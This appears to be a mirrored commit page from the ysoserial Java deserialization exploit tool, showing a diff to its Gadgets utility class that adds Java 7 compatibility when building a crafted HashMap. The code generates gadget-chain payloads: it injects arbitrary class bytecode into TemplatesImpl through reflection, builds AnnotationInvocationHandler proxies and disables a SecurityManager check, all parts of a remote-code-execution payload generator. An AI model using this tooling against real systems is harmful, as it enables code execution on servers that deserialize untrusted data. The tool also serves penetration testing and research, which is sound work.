mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-27 01:11:53 +08:00
Fix HashMap creation for java7.
This commit is contained in:
@@ -1,5 +1,6 @@
|
|||||||
package ysoserial.payloads.util;
|
package ysoserial.payloads.util;
|
||||||
|
|
||||||
|
|
||||||
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
|
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
|
||||||
|
|
||||||
import java.io.Serializable;
|
import java.io.Serializable;
|
||||||
@@ -23,11 +24,15 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
|||||||
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
|
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
|
||||||
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
|
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
|
||||||
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* utility generator functions for common jdk-only gadgets
|
* utility generator functions for common jdk-only gadgets
|
||||||
*/
|
*/
|
||||||
@SuppressWarnings({"restriction", "rawtypes", "unchecked"})
|
@SuppressWarnings ( {
|
||||||
|
"restriction", "rawtypes", "unchecked"
|
||||||
|
} )
|
||||||
public class Gadgets {
|
public class Gadgets {
|
||||||
|
|
||||||
static {
|
static {
|
||||||
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
|
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
|
||||||
System.setProperty(DESERIALIZE_TRANSLET, "true");
|
System.setProperty(DESERIALIZE_TRANSLET, "true");
|
||||||
@@ -37,28 +42,34 @@ public class Gadgets {
|
|||||||
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
|
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
|
||||||
|
|
||||||
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
|
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
|
||||||
|
|
||||||
private static final long serialVersionUID = -5971610431559700674L;
|
private static final long serialVersionUID = -5971610431559700674L;
|
||||||
|
|
||||||
|
|
||||||
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
|
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
|
||||||
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
|
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
|
||||||
}
|
}
|
||||||
|
|
||||||
// required to make TemplatesImpl happy
|
// required to make TemplatesImpl happy
|
||||||
public static class Foo implements Serializable {
|
public static class Foo implements Serializable {
|
||||||
|
|
||||||
private static final long serialVersionUID = 8207363842866235160L;
|
private static final long serialVersionUID = 8207363842866235160L;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface,
|
|
||||||
final Class<?> ... ifaces) throws Exception {
|
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
|
||||||
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
|
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
|
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
|
||||||
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
|
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
|
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
|
||||||
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
|
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
|
||||||
allIfaces[ 0 ] = iface;
|
allIfaces[ 0 ] = iface;
|
||||||
@@ -68,6 +79,7 @@ public class Gadgets {
|
|||||||
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
|
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public static Map<String, Object> createMap ( final String key, final Object val ) {
|
public static Map<String, Object> createMap ( final String key, final Object val ) {
|
||||||
final Map<String, Object> map = new HashMap<String, Object>();
|
final Map<String, Object> map = new HashMap<String, Object>();
|
||||||
map.put(key, val);
|
map.put(key, val);
|
||||||
@@ -87,7 +99,9 @@ public class Gadgets {
|
|||||||
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
|
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static <T> T createTemplatesImpl(final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception {
|
|
||||||
|
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
|
||||||
|
throws Exception {
|
||||||
final T templates = tplClass.newInstance();
|
final T templates = tplClass.newInstance();
|
||||||
|
|
||||||
// use template gadget class
|
// use template gadget class
|
||||||
@@ -107,8 +121,8 @@ public class Gadgets {
|
|||||||
|
|
||||||
// inject class bytes into instance
|
// inject class bytes into instance
|
||||||
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
|
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
|
||||||
classBytes,
|
classBytes, ClassFiles.classAsBytes(Foo.class)
|
||||||
ClassFiles.classAsBytes(Foo.class)});
|
});
|
||||||
|
|
||||||
// required to make TemplatesImpl happy
|
// required to make TemplatesImpl happy
|
||||||
Reflections.setFieldValue(templates, "_name", "Pwnr");
|
Reflections.setFieldValue(templates, "_name", "Pwnr");
|
||||||
@@ -121,8 +135,13 @@ public class Gadgets {
|
|||||||
IllegalAccessException, InvocationTargetException {
|
IllegalAccessException, InvocationTargetException {
|
||||||
HashMap s = new HashMap();
|
HashMap s = new HashMap();
|
||||||
Reflections.setFieldValue(s, "size", 2);
|
Reflections.setFieldValue(s, "size", 2);
|
||||||
|
Class nodeC;
|
||||||
Class nodeC = Class.forName("java.util.HashMap$Node");
|
try {
|
||||||
|
nodeC = Class.forName("java.util.HashMap$Node");
|
||||||
|
}
|
||||||
|
catch ( ClassNotFoundException e ) {
|
||||||
|
nodeC = Class.forName("java.util.HashMap$Entry");
|
||||||
|
}
|
||||||
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
|
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
|
||||||
nodeCons.setAccessible(true);
|
nodeCons.setAccessible(true);
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user